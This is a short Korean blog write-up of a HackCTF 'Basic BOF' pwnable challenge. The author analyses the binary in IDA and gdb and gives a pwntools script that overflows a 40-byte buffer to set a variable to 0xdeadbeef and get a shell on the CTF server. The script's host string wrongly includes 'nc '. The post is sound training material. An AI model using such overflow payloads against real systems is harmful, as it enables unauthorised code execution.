문제 종류 - Pwnable
사용한 툴 - IDA
nc ctf.j0n9hyun.xyz 3000
풀이
Pwnable은 처음인데.. ㅎㅅㅎ.. 그냥 IDA 쓰면 되는건가?
main 함수의 슈도코드를 봐보자.
음? 45칸을 입력 받고, 그냥 v5가 -559038737이면 if문을 통과해서.. shell을 열고?? 끝인가?
일단 gdb를 이용해 v5가 저장된 위치를 알아보도록 하자.
intel CPU로 안 바꿔서.. 이렇게 보이긴 하는데, ebp-0xc에 위치해있다.
해당 부분에 bp를 걸고, 값을 수정한 다음 프로그램을 실행해보자.
음.. 생각해보니까 내 서버에서 하면 내 쉘이 열리구나..
말로만 듣던(?) pwn 패키지를 사용해보자...
첨 사용해 보는거라 다른 분 블로그를 참고해 페이로드를 작성하였다.
1 from pwn import *
2
3 p = remote("nc ctf.j0n9hyun.xyz",3000)
4 payload = 'A'*40 + '\xef\xbe\xad\xde'
5 p.sendline(payload)
6 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Basic FSB 풀이 (100p) (0) | 2020.07.14 |
---|---|
[HackCTF] Basic_BOF #2 풀이 (100p) (0) | 2020.07.14 |
[HackCTF] static 풀이 (250p) (0) | 2020.07.13 |
[HackCTF] Keygen 풀이 (200p) (0) | 2020.07.12 |
[HackCTF] Strncmp 풀이 (150p) (0) | 2020.07.12 |